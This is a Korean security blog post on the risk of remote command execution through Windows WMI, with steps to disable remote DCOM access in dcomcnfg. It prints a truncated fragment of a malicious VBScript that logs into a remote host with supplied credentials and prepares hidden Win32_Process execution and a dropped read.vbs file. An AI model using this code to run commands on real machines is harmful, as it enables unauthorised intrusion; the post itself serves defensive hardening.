본문 바로가기
Security

WMI - 원격 실행 보안

by 올엠 2022. 4. 15.
반응형

WMI는 윈도우 관리에 편리한 프로토콜이지만 이를 이용한 해킹도 많이 일어나는 만큼 각별한 주의가 필요하다.

만약 WMI를 이용하지 않는다면 WMI의 원격 명령 실행을 할 수없도록 보안하는것이 좋다.

 

아래는 원격지에서 WMI를 통해 쉘코드로 명령프롬프트를 생성하여 명령을 실행하는 악성코드의 일부분이다. 

''On Error Resume Next
Set outstreem=Wscript.stdout
If (LCase(Right(Wscript.fullname,11))="Wscript.exe") Then
Wscript.Quit
End If
 
If Wscript.arguments.Count<4 Then
Wscript.echo "Not enough Parameters."
usage()
Wscript.Quit
End If
 
 
ip=Wscript.arguments(0)
username=Wscript.arguments(1)
password=Wscript.arguments(2)
CmdStr=Wscript.arguments(3)
''EchoStr=Wscript.arguments(4)
'downstr=Wscript.arguments(5)
foldername="c:\\windows\\temp\\"
 
wsh.echo "Conneting "&ip&" ...."
Set objlocator=CreateObject("wbemscripting.swbemlocator")
Set objswbemservices=objlocator.connectserver(ip,"root/cimv2",username,password)
showerror(err.number)
Set Win_Process=objswbemservices.Get("Win32_ProcessStartup")
Set Hide_Windows=Win_Process.SpawnInstance_
Hide_Windows.ShowWindow=12
Set Rcmd=objswbemservices.Get("Win32_Process")
Set colFiles = objswbemservices.ExecQuery _
("Select * from CIM_Datafile Where Name = 'c:\\windows\\temp\\read.vbs'")
If colFiles.Count = 0 Then
wsh.echo "Not found read.vbs! Create Now!"
Create_read()
 
End If
 
-중략

이처럼 원격지에서 WMI를 사용할 수 있도록 해놓았을 경우 보안 위험이 크므로, 아래와 같은 방법으로 원격지 실행을 막을 수 있다.

먼저 시작 -> 실행을 눌려 dcomcnfg 입력하여 구성 요소 서비스 관리자를 실행하자.

그리고 "구성 요소 서비스" 하위 "컴퓨터" 하위 "내 컴퓨터"에서 마우스 오른쪽을 눌러 속성에 들어가도록 하자.

속성에서 COM보안 탭으로 이동한후 액세스 권한 시작 및 활성화 권한 제한 편집 버튼을 눌려 원격 엑세스와 원격 실행에 체크되어 있는 것을 모두 언체크 하도록 한다.

이로써 WMI를 통한 원격 접근은 할 수 없게 되었으므로 보다 안전한 WMI를 사용할 수 있다.

WMI는 기본적으로 원격 엑세스를 할 수 있도록 구성되어 있으므로 서버 구성시 WMI 보안 설정도 잊지 말자.

 

반응형